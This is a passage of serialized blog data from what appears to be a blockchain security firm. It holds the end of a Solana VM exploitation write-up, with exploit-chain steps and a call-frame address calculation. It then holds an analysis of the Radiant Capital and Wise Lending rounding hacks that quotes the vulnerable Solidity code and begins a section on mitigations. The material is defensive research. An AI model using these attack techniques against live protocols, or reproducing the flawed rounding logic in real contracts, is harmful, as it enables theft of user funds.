process]\n",{"type":23,"tag":504,"props":44671,"children":44672},{"class":506,"line":1285},[44673],{"type":23,"tag":504,"props":44674,"children":44675},{},[44676],{"type":28,"value":44677},"    N --> P[8: Invoke CPI Gadget with R0 pointing to the CreateAccount instruction]\n",{"type":23,"tag":504,"props":44679,"children":44680},{"class":506,"line":1294},[44681],{"type":23,"tag":504,"props":44682,"children":44683},{},[44684],{"type":28,"value":44685},"    N --> O[8: Write 0x4337 to the account]\n",{"type":23,"tag":24,"props":44687,"children":44688},{},[44689,44691,44697],{"type":28,"value":44690},"Small note: ",{"type":23,"tag":56,"props":44692,"children":44694},{"className":44693},[],[44695],{"type":28,"value":44696},"target_r10",{"type":28,"value":44698}," is the address of the call frame when the CPI gadget is invoked, which, as shown in the graph, is the 8th frame. Its address can be calculated as follows:",{"type":23,"tag":494,"props":44700,"children":44702},{"className":1957,"code":44701,"language":1956,"meta":7,"style":7},"fn call_frame_addr(depth: u64) -> u64 {\n    0x200000000 + 0x2000 * depth + 0x1000\n}\n// call_frame_addr(8) = 0x200011000\n",[44703],{"type":23,"tag":56,"props":44704,"children":44705},{"__ignoreMap":7},[44706,44751,44786,44793],{"type":23,"tag":504,"props":44707,"children":44708},{"class":506,"line":507},[44709,44713,44718,44722,44727,44731,44735,44739,44743,44747],{"type":23,"tag":504,"props":44710,"children":44711},{"style":511},[44712],{"type":28,"value":19248},{"type":23,"tag":504,"props":44714,"children":44715},{"style":517},[44716],{"type":28,"value":44717}," call_frame_addr",{"type":23,"tag":504,"props":44719,"children":44720},{"style":523},[44721],{"type":28,"value":526},{"type":23,"tag":504,"props":44723,"children":44724},{"style":529},[44725],{"type":28,"value":44726},"depth",{"type":23,"tag":504,"props":44728,"children":44729},{"style":598},[44730],{"type":28,"value":3472},{"type":23,"tag":504,"props":44732,"children":44733},{"style":1012},[44734],{"type":28,"value":4843},{"type":23,"tag":504,"props":44736,"children":44737},{"style":523},[44738],{"type":28,"value":2064},{"type":23,"tag":504,"props":44740,"children":44741},{"style":598},[44742],{"type":28,"value":12738},{"type":23,"tag":504,"props":44744,"children":44745},{"style":1012},[44746],{"type":28,"value":4843},{"type":23,"tag":504,"props":44748,"children":44749},{"style":523},[44750],{"type":28,"value":552},{"type":23,"tag":504,"props":44752,"children":44753},{"class":506,"line":540},[44754,44759,44763,44768,44772,44777,44781],{"type":23,"tag":504,"props":44755,"children":44756},{"style":1440},[44757],{"type":28,"value":44758},"    0x200000000",{"type":23,"tag":504,"props":44760,"children":44761},{"style":598},[44762],{"type":28,"value":7888},{"type":23,"tag":504,"props":44764,"children":44765},{"style":1440},[44766],{"type":28,"value":44767}," 0x2000",{"type":23,"tag":504,"props":44769,"children":44770},{"style":598},[44771],{"type":28,"value":8797},{"type":23,"tag":504,"props":44773,"children":44774},{"style":529},[44775],{"type":28,"value":44776}," depth",{"type":23,"tag":504,"props":44778,"children":44779},{"style":598},[44780],{"type":28,"value":7888},{"type":23,"tag":504,"props":44782,"children":44783},{"style":1440},[44784],{"type":28,"value":44785}," 0x1000\n",{"type":23,"tag":504,"props":44787,"children":44788},{"class":506,"line":555},[44789],{"type":23,"tag":504,"props":44790,"children":44791},{"style":523},[44792],{"type":28,"value":884},{"type":23,"tag":504,"props":44794,"children":44795},{"class":506,"line":633},[44796],{"type":23,"tag":504,"props":44797,"children":44798},{"style":1106},[44799],{"type":28,"value":44800},"// call_frame_addr(8) = 0x200011000\n",{"type":23,"tag":70,"props":44802,"children":44803},{"id":1800},[44804],{"type":28,"value":1803},{"type":23,"tag":24,"props":44806,"children":44807},{},[44808,44810,44817],{"type":28,"value":44809},"Most blockchain vulnerabilities are high-level business logic bugs. While low-level Solana bugs are rare, ",{"type":23,"tag":92,"props":44811,"children":44814},{"href":44812,"rel":44813},"https://osec.io/blog/2022-12-09-rust-realloc-and-references",[96],[44815],{"type":28,"value":44816},"they do exist",{"type":28,"value":320},{"type":23,"tag":24,"props":44819,"children":44820},{},[44821],{"type":28,"value":44822},"In this blog post, we provided an exploration of the exploitation side of security. There's a surprising amount of work necessary to go from powerful memory corruption primitives to full control of the program.",{"type":23,"tag":24,"props":44824,"children":44825},{},[44826,44828,44833],{"type":28,"value":44827},"Security requires a top-to-bottom understanding of the execution environment. We hope this challenge and blog post motivate others to understand the ",{"type":23,"tag":1887,"props":44829,"children":44830},{},[44831],{"type":28,"value":44832},"entire",{"type":28,"value":44834}," runtime.",{"type":23,"tag":1815,"props":44836,"children":44837},{},[44838],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":44840},[44841,44845,44846,44849],{"id":17937,"depth":540,"text":17940,"children":44842},[44843,44844],{"id":39515,"depth":555,"text":39518},{"id":40834,"depth":555,"text":40837},{"id":42073,"depth":540,"text":42076},{"id":42909,"depth":540,"text":42912,"children":44847},[44848],{"id":43023,"depth":555,"text":43026},{"id":1800,"depth":540,"text":1803},"content:blog:2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm.md","blog/2023-12-11-jumping-around-in-the-vm",{"_path":44854,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":44855,"description":44856,"author":44857,"image":44858,"date":44860,"isFeatured":16,"onBlogPage":16,"body":44861,"_type":1838,"_id":46007,"_source":1840,"_file":46008,"_stem":46009,"_extension":1843},"/blog/2024-01-18-rounding-bugs","Rounding Bugs: An Analysis","Rounding-related hacks are having a moment in the spotlight. We explore these exploits, correct some popular misunderstandings, and provide mitigations.",[4702],{"src":44859},"/posts/rounding-bugs/cover.png","2024-01-18",{"type":20,"children":44862,"toc":45996},[44863,44867,44895,44900,44913,44918,44924,44929,44934,44939,44944,44957,44969,44989,45009,45014,45019,45037,45043,45048,45054,45068,45081,45086,45092,45106,45111,45133,45366,45371,45376,45389,45629,45639,45644,45650,45655,45660,45693,45698,45709,45715,45720,45734,45862,45876,45952,45957,45968,45973,45978,45982,45987,45992],{"type":23,"tag":70,"props":44864,"children":44865},{"id":27996},[44866],{"type":28,"value":27999},{"type":23,"tag":24,"props":44868,"children":44869},{},[44870,44872,44879,44880,44887,44889,44894],{"type":28,"value":44871},"Recently, there's been a series of attacks exploiting share rounding against lending protocols. Rounding attacks are already known to developers on ",{"type":23,"tag":92,"props":44873,"children":44876},{"href":44874,"rel":44875},"https://neodyme.io/de/blog/lending_disclosure",[96],[44877],{"type":28,"value":44878},"fast",{"type":28,"value":576},{"type":23,"tag":92,"props":44881,"children":44884},{"href":44882,"rel":44883},"https://osec.io/blog/2022-04-26-spl-swap-rounding",[96],[44885],{"type":28,"value":44886},"cheap",{"type":28,"value":44888}," chains with high-value tokens. These attacks are novel in that they also work against low-value tokens on expensive chains. ",{"type":23,"tag":1887,"props":44890,"children":44891},{},[44892],{"type":28,"value":44893},"Most people haven't considered what happens when shares are worth a lot",{"type":28,"value":320},{"type":23,"tag":24,"props":44896,"children":44897},{},[44898],{"type":28,"value":44899},"Much of the previous discourse has mischaracterized the rootcause of these hacks. For example, the presence of flashloans is largely irrelevant. At a high level, these attacks only require two key steps:",{"type":23,"tag":41,"props":44901,"children":44902},{},[44903,44908],{"type":23,"tag":45,"props":44904,"children":44905},{},[44906],{"type":28,"value":44907},"Inflate share value (token to share conversion rate)",{"type":23,"tag":45,"props":44909,"children":44910},{},[44911],{"type":28,"value":44912},"Exploit rounding bug",{"type":23,"tag":24,"props":44914,"children":44915},{},[44916],{"type":28,"value":44917},"In this blog post, we explore these attacks in detail and provide potential mitigations.",{"type":23,"tag":70,"props":44919,"children":44921},{"id":44920},"model",[44922],{"type":28,"value":44923},"Model",{"type":23,"tag":24,"props":44925,"children":44926},{},[44927],{"type":28,"value":44928},"Before we dive in, there's some helpful background information we'll share first.",{"type":23,"tag":24,"props":44930,"children":44931},{},[44932],{"type":28,"value":44933},"A common form of accounting is the share and token model. When a user deposits a token, they receive back shares. Shares can accrue value, whether through interest or protocol fees.",{"type":23,"tag":24,"props":44935,"children":44936},{},[44937],{"type":28,"value":44938},"When users want to withdraw their tokens, they burn shares and receive the corresponding amount of tokens back. This is nice in theory. Unfortunately, in the real world, we have fixed precision. You can't have 1.01 shares, it needs to be either one or two. Which way should we round?",{"type":23,"tag":24,"props":44940,"children":44941},{},[44942],{"type":28,"value":44943},"This question is more complex than it may appear. Let's walk through an example.",{"type":23,"tag":24,"props":44945,"children":44946},{},[44947,44949,44955],{"type":28,"value":44948},"Say we initialize shares and tokens in a one-to-one ratio. After an initial deposit of 1000 tokens, the pool state is ",{"type":23,"tag":56,"props":44950,"children":44952},{"className":44951},[],[44953],{"type":28,"value":44954},"1000:1000",{"type":28,"value":44956}," (1000 tokens to 1000 shares).",{"type":23,"tag":24,"props":44958,"children":44959},{},[44960,44962,44968],{"type":28,"value":44961},"After accruing fees, the pool gains one token for a new ratio of ",{"type":23,"tag":56,"props":44963,"children":44965},{"className":44964},[],[44966],{"type":28,"value":44967},"1001:1000",{"type":28,"value":320},{"type":23,"tag":24,"props":44970,"children":44971},{},[44972,44974,44980,44982,44987],{"type":28,"value":44973},"How many tokens should we get back when withdrawing 999 shares? The real answer is ",{"type":23,"tag":56,"props":44975,"children":44977},{"className":44976},[],[44978],{"type":28,"value":44979},"1001/1000*999 = 999.999",{"type":28,"value":44981},". Unfortunately, we can only send the user 1000 or 999 tokens. For now, let's assume we round ",{"type":23,"tag":1887,"props":44983,"children":44984},{},[44985],{"type":28,"value":44986},"down",{"type":28,"value":44988}," against the user.",{"type":23,"tag":24,"props":44990,"children":44991},{},[44992,44994,45000,45002,45008],{"type":28,"value":44993},"If we give the user 999 tokens, the new pool state is ",{"type":23,"tag":56,"props":44995,"children":44997},{"className":44996},[],[44998],{"type":28,"value":44999},"2:1",{"type":28,"value":45001},". The value of a share doubled! What happens if we deposit 1 more token? We'll get back zero shares, further inflating the ratio to ",{"type":23,"tag":56,"props":45003,"children":45005},{"className":45004},[],[45006],{"type":28,"value":45007},"3:1",{"type":28,"value":320},{"type":23,"tag":24,"props":45010,"children":45011},{},[45012],{"type":28,"value":45013},"Small decisions like rounding direction can have a big impact on share valuation. Generally, share valuation isn't a strict security boundary.",{"type":23,"tag":24,"props":45015,"children":45016},{},[45017],{"type":28,"value":45018},"The above is a bit of a simplification. In practice, there are several protocol-specific design decisions:",{"type":23,"tag":41,"props":45020,"children":45021},{},[45022,45027,45032],{"type":23,"tag":45,"props":45023,"children":45024},{},[45025],{"type":28,"value":45026},"Can you deposit and receive back zero shares? If not, you'll need to spend more effort to exploit the rounding error",{"type":23,"tag":45,"props":45028,"children":45029},{},[45030],{"type":28,"value":45031},"When you withdraw, are you withdrawing shares or tokens?",{"type":23,"tag":45,"props":45033,"children":45034},{},[45035],{"type":28,"value":45036},"Can you directly manipulate pool state by sending tokens? Hopefully not.",{"type":23,"tag":70,"props":45038,"children":45040},{"id":45039},"decisions",[45041],{"type":28,"value":45042},"Decisions",{"type":23,"tag":24,"props":45044,"children":45045},{},[45046],{"type":28,"value":45047},"Let's assume that we're able to inflate the value of a share. How can we actually exploit this?",{"type":23,"tag":82,"props":45049,"children":45051},{"id":45050},"radiant-capital",[45052],{"type":28,"value":45053},"Radiant Capital",{"type":23,"tag":24,"props":45055,"children":45056},{},[45057,45059,45066],{"type":28,"value":45058},"Radiant Capital was ",{"type":23,"tag":92,"props":45060,"children":45063},{"href":45061,"rel":45062},"https://arbiscan.io/tx/0x1ce7e9a9e3b6dd3293c9067221ac3260858ce119ecb7ca860eac28b2474c7c9b",[96],[45064],{"type":28,"value":45065},"hacked on Jan 2nd",{"type":28,"value":45067}," for about $4.5M. This was the original example of exploiting rounding on otherwise inconsequential shares.",{"type":23,"tag":24,"props":45069,"children":45070},{},[45071,45073,45080],{"type":28,"value":45072},"The exploit is relatively straightforward and ",{"type":23,"tag":92,"props":45074,"children":45077},{"href":45075,"rel":45076},"https://medium.com/@_kcyw/radiant-capital-hack-explained-1633289be150",[96],[45078],{"type":28,"value":45079},"has already been covered previously",{"type":28,"value":320},{"type":23,"tag":24,"props":45082,"children":45083},{},[45084],{"type":28,"value":45085},"At a high level, this exploit is exactly what you'd expect. If shares were worth $1000 each, and the user tried to withdraw $1999, they only needed to burn one share. Free money.",{"type":23,"tag":82,"props":45087,"children":45089},{"id":45088},"wise-lending",[45090],{"type":28,"value":45091},"Wise Lending",{"type":23,"tag":24,"props":45093,"children":45094},{},[45095,45097,45104],{"type":28,"value":45096},"Wise Lending was ",{"type":23,"tag":92,"props":45098,"children":45101},{"href":45099,"rel":45100},"https://etherscan.io/tx/0x04e16a79ff928db2fa88619cdd045cdfc7979a61d836c9c9e585b3d6f6d8bc31",[96],[45102],{"type":28,"value":45103},"hacked on January 13th",{"type":28,"value":45105}," for just under $460,000.",{"type":23,"tag":24,"props":45107,"children":45108},{},[45109],{"type":28,"value":45110},"Again, share prices were inflated artificially high. However, the rounding direction seemed to be correct. This was a new variant.",{"type":23,"tag":24,"props":45112,"children":45113},{},[45114,45116,45123,45125,45132],{"type":28,"value":45115},"This is ",{"type":23,"tag":92,"props":45117,"children":45120},{"href":45118,"rel":45119},"https://etherscan.io/address/0x829c3AE2e82760eCEaD0F384918a650F8a31Ba18",[96],[45121],{"type":28,"value":45122},"the code responsible",{"type":28,"value":45124}," for checking if a withdrawal is valid. As a hint, a critical invariant for lending protocols is that there's ",{"type":23,"tag":92,"props":45126,"children":45129},{"href":45127,"rel":45128},"https://www.chainalysis.com/blog/euler-finance-flash-loan-attack/",[96],[45130],{"type":28,"value":45131},"no way to atomically self-bankrupt",{"type":28,"value":320},{"type":23,"tag":494,"props":45134,"children":45136},{"className":3455,"code":45135,"language":3454,"meta":7,"style":7},"uint256 withdrawValue = WISE_ORACLE.getTokensInETH(\n    _poolToken,\n    _amount\n)\n    * WISE_LENDING.lendingPoolData(_poolToken).collateralFactor\n    / PRECISION_FACTOR_E18;\n\nbool state = borrowPercentageCap\n    * (overallETHCollateralsWeighted(_nftId) - withdrawValue)\n    / PRECISION_FACTOR_E18\n    \u003C borrowAmount;\n\nif (state == true) {\n    revert ResultsInBadDebt();\n}\n",[45137],{"type":23,"tag":56,"props":45138,"children":45139},{"__ignoreMap":7},[45140,45171,45179,45187,45194,45216,45229,45236,45257,45287,45299,45311,45318,45342,45359],{"type":23,"tag":504,"props":45141,"children":45142},{"class":506,"line":507},[45143,45148,45153,45157,45162,45167],{"type":23,"tag":504,"props":45144,"children":45145},{"style":1012},[45146],{"type":28,"value":45147},"uint256",{"type":23,"tag":504,"props":45149,"children":45150},{"style":523},[45151],{"type":28,"value":45152}," withdrawValue ",{"type":23,"tag":504,"props":45154,"children":45155},{"style":598},[45156],{"type":28,"value":601},{"type":23,"tag":504,"props":45158,"children":45159},{"style":523},[45160],{"type":28,"value":45161}," WISE_ORACLE.",{"type":23,"tag":504,"props":45163,"children":45164},{"style":517},[45165],{"type":28,"value":45166},"getTokensInETH",{"type":23,"tag":504,"props":45168,"children":45169},{"style":523},[45170],{"type":28,"value":2439},{"type":23,"tag":504,"props":45172,"children":45173},{"class":506,"line":540},[45174],{"type":23,"tag":504,"props":45175,"children":45176},{"style":523},[45177],{"type":28,"value":45178},"    _poolToken,\n",{"type":23,"tag":504,"props":45180,"children":45181},{"class":506,"line":555},[45182],{"type":23,"tag":504,"props":45183,"children":45184},{"style":523},[45185],{"type":28,"value":45186},"    _amount\n",{"type":23,"tag":504,"props":45188,"children":45189},{"class":506,"line":633},[45190],{"type":23,"tag":504,"props":45191,"children":45192},{"style":523},[45193],{"type":28,"value":1192},{"type":23,"tag":504,"props":45195,"children":45196},{"class":506,"line":687},[45197,45201,45206,45211],{"type":23,"tag":504,"props":45198,"children":45199},{"style":598},[45200],{"type":28,"value":16541},{"type":23,"tag":504,"props":45202,"children":45203},{"style":523},[45204],{"type":28,"value":45205}," WISE_LENDING.",{"type":23,"tag":504,"props":45207,"children":45208},{"style":517},[45209],{"type":28,"value":45210},"lendingPoolData",{"type":23,"tag":504,"props":45212,"children":45213},{"style":523},[45214],{"type":28,"value":45215},"(_poolToken).collateralFactor\n",{"type":23,"tag":504,"props":45217,"children":45218},{"class":506,"line":736},[45219,45224],{"type":23,"tag":504,"props":45220,"children":45221},{"style":598},[45222],{"type":28,"value":45223},"    /",{"type":23,"tag":504,"props":45225,"children":45226},{"style":523},[45227],{"type":28,"value":45228}," PRECISION_FACTOR_E18;\n",{"type":23,"tag":504,"props":45230,"children":45231},{"class":506,"line":785},[45232],{"type":23,"tag":504,"props":45233,"children":45234},{"emptyLinePlaceholder":16},[45235],{"type":28,"value":1038},{"type":23,"tag":504,"props":45237,"children":45238},{"class":506,"line":813},[45239,45243,45248,45252],{"type":23,"tag":504,"props":45240,"children":45241},{"style":1012},[45242],{"type":28,"value":28667},{"type":23,"tag":504,"props":45244,"children":45245},{"style":523},[45246],{"type":28,"value":45247}," state ",{"type":23,"tag":504,"props":45249,"children":45250},{"style":598},[45251],{"type":28,"value":601},{"type":23,"tag":504,"props":45253,"children":45254},{"style":523},[45255],{"type":28,"value":45256}," borrowPercentageCap\n",{"type":23,"tag":504,"props":45258,"children":45259},{"class":506,"line":851},[45260,45264,45268,45273,45278,45282],{"type":23,"tag":504,"props":45261,"children":45262},{"style":598},[45263],{"type":28,"value":16541},{"type":23,"tag":504,"props":45265,"children":45266},{"style":523},[45267],{"type":28,"value":801},{"type":23,"tag":504,"props":45269,"children":45270},{"style":517},[45271],{"type":28,"value":45272},"overallETHCollateralsWeighted",{"type":23,"tag":504,"props":45274,"children":45275},{"style":523},[45276],{"type":28,"value":45277},"(_nftId) ",{"type":23,"tag":504,"props":45279,"children":45280},{"style":598},[45281],{"type":28,"value":3308},{"type":23,"tag":504,"props":45283,"children":45284},{"style":523},[45285],{"type":28,"value":45286}," withdrawValue)\n",{"type":23,"tag":504,"props":45288,"children":45289},{"class":506,"line":869},[45290,45294],{"type":23,"tag":504,"props":45291,"children":45292},{"style":598},[45293],{"type":28,"value":45223},{"type":23,"tag":504,"props":45295,"children":45296},{"style":523},[45297],{"type":28,"value":45298}," PRECISION_FACTOR_E18\n",{"type":23,"tag":504,"props":45300,"children":45301},{"class":506,"line":878},[45302,45306],{"type":23,"tag":504,"props":45303,"children":45304},{"style":598},[45305],{"type":28,"value":31423},{"type":23,"tag":504,"props":45307,"children":45308},{"style":523},[45309],{"type":28,"value":45310}," borrowAmount;\n",{"type":23,"tag":504,"props":45312,"children":45313},{"class":506,"line":1221},[45314],{"type":23,"tag":504,"props":45315,"children":45316},{"emptyLinePlaceholder":16},[45317],{"type":28,"value":1038},{"type":23,"tag":504,"props":45319,"children":45320},{"class":506,"line":1276},[45321,45325,45330,45334,45338],{"type":23,"tag":504,"props":45322,"children":45323},{"style":544},[45324],{"type":28,"value":14560},{"type":23,"tag":504,"props":45326,"children":45327},{"style":523},[45328],{"type":28,"value":45329}," (state ",{"type":23,"tag":504,"props":45331,"children":45332},{"style":598},[45333],{"type":28,"value":7559},{"type":23,"tag":504,"props":45335,"children":45336},{"style":511},[45337],{"type":28,"value":1750},{"type":23,"tag":504,"props":45339,"children":45340},{"style":523},[45341],{"type":28,"value":537},{"type":23,"tag":504,"props":45343,"children":45344},{"class":506,"line":1285},[45345,45350,45355],{"type":23,"tag":504,"props":45346,"children":45347},{"style":544},[45348],{"type":28,"value":45349},"    revert",{"type":23,"tag":504,"props":45351,"children":45352},{"style":517},[45353],{"type":28,"value":45354}," ResultsInBadDebt",{"type":23,"tag":504,"props":45356,"children":45357},{"style":523},[45358],{"type":28,"value":2647},{"type":23,"tag":504,"props":45360,"children":45361},{"class":506,"line":1294},[45362],{"type":23,"tag":504,"props":45363,"children":45364},{"style":523},[45365],{"type":28,"value":884},{"type":23,"tag":24,"props":45367,"children":45368},{},[45369],{"type":28,"value":45370},"The critical observation is that this code operates on token amounts, while the internal accounting necessarily operates on shares.",{"type":23,"tag":24,"props":45372,"children":45373},{},[45374],{"type":28,"value":45375},"Consider: you have one share worth $1000 and (correctly) can borrow $500. If you tried to withdraw $1, the code would round up to withdraw your one share worth $1000, causing you to be immediately liquidatable!",{"type":23,"tag":24,"props":45377,"children":45378},{},[45379,45381,45387],{"type":28,"value":45380},"And indeed, ",{"type":23,"tag":92,"props":45382,"children":45385},{"href":45383,"rel":45384},"https://etherscan.io/address/0x37e49bf3749513A02FA535F0CbC383796E8107E4",[96],[45386],{"type":28,"value":45091},{"type":28,"value":45388}," rounds up the share value.",{"type":23,"tag":494,"props":45390,"children":45392},{"className":3455,"code":45391,"language":3454,"meta":7,"style":7},"function _calculateShares(\n    uint256 _product,\n    uint256 _pseudo,\n    bool _maxSharePrice\n)\n    private\n    pure\n    returns (uint256)\n{\n    return _maxSharePrice == true\n        ? _product % _pseudo == 0\n            ? _product / _pseudo\n            : _product / _pseudo + 1\n        : _product / _pseudo;\n}\n",[45393],{"type":23,"tag":56,"props":45394,"children":45395},{"__ignoreMap":7},[45396,45412,45429,45445,45458,45465,45473,45481,45501,45508,45529,45550,45572,45601,45622],{"type":23,"tag":504,"props":45397,"children":45398},{"class":506,"line":507},[45399,45403,45408],{"type":23,"tag":504,"props":45400,"children":45401},{"style":511},[45402],{"type":28,"value":514},{"type":23,"tag":504,"props":45404,"children":45405},{"style":517},[45406],{"type":28,"value":45407}," _calculateShares",{"type":23,"tag":504,"props":45409,"children":45410},{"style":523},[45411],{"type":28,"value":2439},{"type":23,"tag":504,"props":45413,"children":45414},{"class":506,"line":540},[45415,45420,45425],{"type":23,"tag":504,"props":45416,"children":45417},{"style":1012},[45418],{"type":28,"value":45419},"    uint256",{"type":23,"tag":504,"props":45421,"children":45422},{"style":529},[45423],{"type":28,"value":45424}," _product",{"type":23,"tag":504,"props":45426,"children":45427},{"style":523},[45428],{"type":28,"value":2484},{"type":23,"tag":504,"props":45430,"children":45431},{"class":506,"line":555},[45432,45436,45441],{"type":23,"tag":504,"props":45433,"children":45434},{"style":1012},[45435],{"type":28,"value":45419},{"type":23,"tag":504,"props":45437,"children":45438},{"style":529},[45439],{"type":28,"value":45440}," _pseudo",{"type":23,"tag":504,"props":45442,"children":45443},{"style":523},[45444],{"type":28,"value":2484},{"type":23,"tag":504,"props":45446,"children":45447},{"class":506,"line":633},[45448,45453],{"type":23,"tag":504,"props":45449,"children":45450},{"style":1012},[45451],{"type":28,"value":45452},"    bool",{"type":23,"tag":504,"props":45454,"children":45455},{"style":529},[45456],{"type":28,"value":45457}," _maxSharePrice\n",{"type":23,"tag":504,"props":45459,"children":45460},{"class":506,"line":687},[45461],{"type":23,"tag":504,"props":45462,"children":45463},{"style":523},[45464],{"type":28,"value":1192},{"type":23,"tag":504,"props":45466,"children":45467},{"class":506,"line":736},[45468],{"type":23,"tag":504,"props":45469,"children":45470},{"style":511},[45471],{"type":28,"value":45472},"    private\n",{"type":23,"tag":504,"props":45474,"children":45475},{"class":506,"line":785},[45476],{"type":23,"tag":504,"props":45477,"children":45478},{"style":511},[45479],{"type":28,"value":45480},"    pure\n",{"type":23,"tag":504,"props":45482,"children":45483},{"class":506,"line":813},[45484,45489,45493,45497],{"type":23,"tag":504,"props":45485,"children":45486},{"style":544},[45487],{"type":28,"value":45488},"    returns",{"type":23,"tag":504,"props":45490,"children":45491},{"style":523},[45492],{"type":28,"value":801},{"type":23,"tag":504,"props":45494,"children":45495},{"style":1012},[45496],{"type":28,"value":45147},{"type":23,"tag":504,"props":45498,"children":45499},{"style":523},[45500],{"type":28,"value":1192},{"type":23,"tag":504,"props":45502,"children":45503},{"class":506,"line":851},[45504],{"type":23,"tag":504,"props":45505,"children":45506},{"style":523},[45507],{"type":28,"value":9862},{"type":23,"tag":504,"props":45509,"children":45510},{"class":506,"line":869},[45511,45515,45520,45524],{"type":23,"tag":504,"props":45512,"children":45513},{"style":544},[45514],{"type":28,"value":15968},{"type":23,"tag":504,"props":45516,"children":45517},{"style":523},[45518],{"type":28,"value":45519}," _maxSharePrice ",{"type":23,"tag":504,"props":45521,"children":45522},{"style":598},[45523],{"type":28,"value":7559},{"type":23,"tag":504,"props":45525,"children":45526},{"style":511},[45527],{"type":28,"value":45528}," true\n",{"type":23,"tag":504,"props":45530,"children":45531},{"class":506,"line":878},[45532,45537,45542,45546],{"type":23,"tag":504,"props":45533,"children":45534},{"style":598},[45535],{"type":28,"value":45536},"        ?",{"type":23,"tag":504,"props":45538,"children":45539},{"style":523},[45540],{"type":28,"value":45541}," _product % _pseudo ",{"type":23,"tag":504,"props":45543,"children":45544},{"style":598},[45545],{"type":28,"value":7559},{"type":23,"tag":504,"props":45547,"children":45548},{"style":1440},[45549],{"type":28,"value":23258},{"type":23,"tag":504,"props":45551,"children":45552},{"class":506,"line":1221},[45553,45558,45563,45567],{"type":23,"tag":504,"props":45554,"children":45555},{"style":598},[45556],{"type":28,"value":45557},"            ?",{"type":23,"tag":504,"props":45559,"children":45560},{"style":523},[45561],{"type":28,"value":45562}," _product ",{"type":23,"tag":504,"props":45564,"children":45565},{"style":598},[45566],{"type":28,"value":3562},{"type":23,"tag":504,"props":45568,"children":45569},{"style":523},[45570],{"type":28,"value":45571}," _pseudo\n",{"type":23,"tag":504,"props":45573,"children":45574},{"class":506,"line":1276},[45575,45580,45584,45588,45593,45597],{"type":23,"tag":504,"props":45576,"children":45577},{"style":598},[45578],{"type":28,"value":45579},"            :",{"type":23,"tag":504,"props":45581,"children":45582},{"style":523},[45583],{"type":28,"value":45562},{"type":23,"tag":504,"props":45585,"children":45586},{"style":598},[45587],{"type":28,"value":3562},{"type":23,"tag":504,"props":45589,"children":45590},{"style":523},[45591],{"type":28,"value":45592}," _pseudo ",{"type":23,"tag":504,"props":45594,"children":45595},{"style":598},[45596],{"type":28,"value":1642},{"type":23,"tag":504,"props":45598,"children":45599},{"style":1440},[45600],{"type":28,"value":18424},{"type":23,"tag":504,"props":45602,"children":45603},{"class":506,"line":1285},[45604,45609,45613,45617],{"type":23,"tag":504,"props":45605,"children":45606},{"style":598},[45607],{"type":28,"value":45608},"        :",{"type":23,"tag":504,"props":45610,"children":45611},{"style":523},[45612],{"type":28,"value":45562},{"type":23,"tag":504,"props":45614,"children":45615},{"style":598},[45616],{"type":28,"value":3562},{"type":23,"tag":504,"props":45618,"children":45619},{"style":523},[45620],{"type":28,"value":45621}," _pseudo;\n",{"type":23,"tag":504,"props":45623,"children":45624},{"class":506,"line":1294},[45625],{"type":23,"tag":504,"props":45626,"children":45627},{"style":523},[45628],{"type":28,"value":884},{"type":23,"tag":24,"props":45630,"children":45631},{},[45632,45637],{"type":23,"tag":1887,"props":45633,"children":45634},{},[45635],{"type":28,"value":45636},"Regardless of which way the share rounding occurs, this is a bug",{"type":28,"value":45638},". The correct way would be to do calculations in units of shares and force users to withdraw in increments of shares (and then round down the tokens ultimately received in the end).",{"type":23,"tag":24,"props":45640,"children":45641},{},[45642],{"type":28,"value":45643},"This is a really tricky invariant to reason about!",{"type":23,"tag":70,"props":45645,"children":45647},{"id":45646},"root-cause",[45648],{"type":28,"value":45649},"Root Cause",{"type":23,"tag":24,"props":45651,"children":45652},{},[45653],{"type":28,"value":45654},"Even though this sort of exploit seems pervasive, it requires quite a lot of factors to be exploitable.",{"type":23,"tag":24,"props":45656,"children":45657},{},[45658],{"type":28,"value":45659},"Most importantly, the share value needs to be inflatable. Usually, this requires an integer representation for both shares and tokens. The conversion rate also needs to be expressed in terms of the shares and tokens as opposed to being stored separately.",{"type":23,"tag":494,"props":45661,"children":45663},{"className":3455,"code":45662,"language":3454,"meta":7,"style":7},"totalDepositShares * _amount / pseudoTotalPool\n",[45664],{"type":23,"tag":56,"props":45665,"children":45666},{"__ignoreMap":7},[45667],{"type":23,"tag":504,"props":45668,"children":45669},{"class":506,"line":507},[45670,45675,45679,45684,45688],{"type":23,"tag":504,"props":45671,"children":45672},{"style":523},[45673],{"type":28,"value":45674},"totalDepositShares ",{"type":23,"tag":504,"props":45676,"children":45677},{"style":598},[45678],{"type":28,"value":3552},{"type":23,"tag":504,"props":45680,"children":45681},{"style":523},[45682],{"type":28,"value":45683}," _amount ",{"type":23,"tag":504,"props":45685,"children":45686},{"style":598},[45687],{"type":28,"value":3562},{"type":23,"tag":504,"props":45689,"children":45690},{"style":523},[45691],{"type":28,"value":45692}," pseudoTotalPool\n",{"type":23,"tag":24,"props":45694,"children":45695},{},[45696],{"type":28,"value":45697},"The second critical requirement is a generally empty pool. Inflating the share value means that all other shares also rise in value. If there are shares that are not controlled by the attacker, this would mean giving other users free money, almost definitely stopping inflation attacks.",{"type":23,"tag":24,"props":45699,"children":45700},{},[45701,45703,45707],{"type":28,"value":45702},"Finally, there must be improper rounding or accounting. This last requirement is generally easiest to satisfy. Share rounding is a new attack vector, and people haven't thought carefully about proper treatment of dust. Have you analyzed ",{"type":23,"tag":1887,"props":45704,"children":45705},{},[45706],{"type":28,"value":18899},{"type":28,"value":45708}," integer division?",{"type":23,"tag":70,"props":45710,"children":45712},{"id":45711},"mitigations",[45713],{"type":28,"value":45714},"Mitigations",{"type":23,"tag":24,"props":45716,"children":45717},{},[45718],{"type":28,"value":45719},"The easiest way to prevent this attack is to prevent share values from being manipulated. An unexpectedly high share value can lead to denial of service scenarios and is probably worth mitigating by itself.",{"type":23,"tag":24,"props":45721,"children":45722},{},[45723,45725,45732],{"type":28,"value":45724},"The best way is to ensure that the pool has some amount of deposits on deployment, whether operationally or programmatically. As ",{"type":23,"tag":92,"props":45726,"children":45729},{"href":45727,"rel":45728},"https://twitter.com/danielvf/status/1746306320553152615",[96],[45730],{"type":28,"value":45731},"@danielvf notes",{"type":28,"value":45733},", protocols like Uniswap burn a portion of the initial deposit for this very reason.",{"type":23,"tag":494,"props":45735,"children":45737},{"className":3455,"code":45736,"language":3454,"meta":7,"style":7},"if (_totalSupply == 0) {\n    liquidity = 